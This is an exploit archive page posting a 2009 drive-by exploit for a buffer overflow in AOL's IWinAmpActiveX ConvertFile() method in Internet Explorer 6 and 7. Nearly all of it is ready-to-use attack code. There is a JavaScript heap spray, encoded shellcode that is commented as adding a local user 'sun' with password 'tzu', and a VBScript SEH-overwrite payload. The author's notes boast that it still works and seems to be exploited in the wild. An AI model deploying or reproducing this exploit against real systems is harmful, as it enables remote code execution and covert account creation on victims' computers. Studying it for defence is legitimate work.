AOL IWinAmpActiveX Class ConvertFile() Remote BOF Exploit

🗓️ 19 May 2009 00:00:00Reported by rgodType
zdt🔗 0day.today👁 17 Views
AOL IWinAmpActiveX remote overflow exploi
=========================================================
AOL IWinAmpActiveX Class ConvertFile() Remote BOF Exploit
=========================================================




<!--
AOL IWinAmpActiveX Class (AmpX.dll 2.4.0.6) ConvertFile() remote overflow exploit (IE6/IE7)

Notes by Nine:Situations:Group : an old unreleased one from rgod's archive,

(different clsid)
No one talks about the ConvertFile() method...
STILL FUCKING WORKSSSSS LOL!!!
AOL still serves the cab with the vulnerable control!!!
It seems to me that this is exploited in the wild:
http://www.google.com/search?q=FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6&hl=en&num=100&filter=0

details:
CLSID: {FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6}
Progid: WinAmpX.IWinAmpActiveX.2
Binary Path: C:\PROGRA~1\COMMON~1\Nullsoft\ActiveX\2.4\AmpX.dll
KillBitted: False
Implements IObjectSafety: True
Safe For Initialization (IObjectSafety): True
Safe For Scripting (IObjectSafety): True
-->
<HTML>
<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' width=1 height=1 id='IWinAmpActiveX'
codebase="http://pdl.stream.aol.com/downloads/aol/unagi/ampx_en_dl.cab">
</OBJECT>
<script language='javascript'>
//add user one, user "sun" pass "tzu"
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" +
                     "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" +
                     "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +
                     "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +
                     "%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" +
                     "%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" +
                     "%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" +
                     "%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" +
                     "%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" +
                     "%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" +
                     "%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" +
                     "%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" +
                     "%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" +
                     "%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" +
                     "%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" +
                     "%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" +
                     "%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" +
                     "%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" +
                     "%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" +
                     "%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" +
                     "%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" +
                     "%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" +
                     "%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" +
                     "%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" +
                     "%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" +
                     "%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" +
                     "%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" +
                     "%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" +
                     "%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" +
                     "%u7734%u4734%u4570");
bigblock  = unescape("%u0c0c%u0c0c");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<666;i++){memory[i] = block+shellcode}
</script>
<SCRIPT language='VBScript'>
'first block must set eax to 0xffffffff, the second one overwrites seh
bof=string(1400,unescape("%ff")) + string(1000,unescape("%0c"))
IWinAmpActiveX.ConvertFile bof,1,1,1,1,1
IWinAmpActiveX.ConvertFile bof,1,1,1,1,1
IWinAmpActiveX.ConvertFile bof,1,1,1,1,1
IWinAmpActiveX.ConvertFile bof,1,1,1,1,1
</SCRIPT>
</HTML>



#  0day.today [2018-04-10]  #
19 May 2009 00:00Current
7.1High risk
Vulners AI Score7.1